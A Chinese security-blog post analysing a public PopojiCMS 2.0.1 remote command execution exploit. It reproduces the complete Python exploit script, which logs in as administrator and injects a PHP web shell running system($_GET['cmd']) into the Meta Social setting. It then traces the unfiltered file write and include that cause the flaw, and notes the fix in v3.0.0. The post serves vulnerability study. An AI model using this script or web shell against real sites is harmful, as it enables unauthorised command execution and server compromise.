PopojiCMS 2.0.1 - Remote Command Execution (RCE)
1568485416623001 发表于 江苏 WEB安全 704浏览 · 2024-05-30 08:49

从exploit-db官网看到了这个漏洞,从EXP反向分析一下,了解了解其原理。
影响版本:popojicms 2.0.1
下载地址:https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip

EXP分析

EXP地址:https://www.exploit-db.com/exploits/52022
非常简单的代码逻辑,利用过程也比较清晰、比较简单。

  • 该脚本首先通过已知的用户名和密码登录PopojiCMS后台。
  • 然后编辑Meta Social设置注入恶意代码。
  • 注入成功后,可以访问通过webshell执行命令。
# Exploit Title: PopojiCMS 2.0.1 - Remote Command Execution
# Date: 14/04/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.popojicms.org/
# Software Link:
# https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip
# Version: Version : 2.0.1
# Tested on: https://www.softaculous.com/apps/cms/PopojiCMS

import requests
import time
import sys

def exploit(url, username, password):
    # 登录
    login_url = f"{url}/po-admin/route.php?mod=login&act=proclogin"
    login_data = {"username": username, "password": password}
    headers = {"Content-Type": "application/x-www-form-urlencoded", "Referer": f"{url}/po-admin/index.php"}
    session = requests.Session()
    login_response = session.post(login_url, data=login_data, headers=headers)
    if "Administrator PopojiCMS" in login_response.text:
        print("Login Successful!")
        time.sleep(1) # 1 saniye bekle
    else:
        print("Login Failed!")
        return

    # 注入
    edit_url = f"{url}/po-admin/route.php?mod=setting&act=metasocial"
    edit_data = {"meta_content": """<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>"""}
    edit_response = session.post(edit_url, data=edit_data, headers=headers)
    if "cmd" in edit_response.text:
        print("Your shell is ready:", url)
        time.sleep(1)
    else:
        print("Exploit Failed!")
        return

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Kullanım: python exploit.py sitename username password")
        sys.exit(1)

    url = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    print("Exploiting...")
    time.sleep(1)
    print("Logging in...")
    time.sleep(1)
    exploit(url, username, password)

漏洞分析

显然,漏洞的产生是分两部分的:注入和调用(即调用注入的代码进行getshell)。


核心问题在于/po-admin/route.php?mod=setting&act=metasocial这个路由对应的代码中。
/po-admin/po-contents/component/setting模块中的metasocial函数。

我们在此下个断点:然后注入编辑器代码。

跟踪到此:我们可知我们提交的数据写入到/po-admin/po-content/component/setting/meta_social.txt
并且是没有任何限制的直接写入到此文件中。


上面注入的部分已经完毕,我们看看到底是哪部分包含了meta_social.txt的代码。
我们跟到index.php的这段代码:

而我又在po-content/themes/chingsy目录的index.php中发现以下代码:
并且经过断点调试,确实是这行代码进行包含。


总结:这样就很清晰了,在注入的时候没有任何限制,在显示的时候没有任何过滤直接包含。

漏洞利用

  1. Login->Pengaturan->Konfig注入恶意代码。

  1. 访问网站根目录:?cmd=whoami

漏洞修补

在官网中,并没有给出该版本的修复补丁或者修复方法。
我直接看下一个版本v3.0.0相比v2.0.1做了哪些改进。
修补方式还真是粗暴有效,直接把这个功能点给删了!!!

0 条评论
某人
表情
可输入 255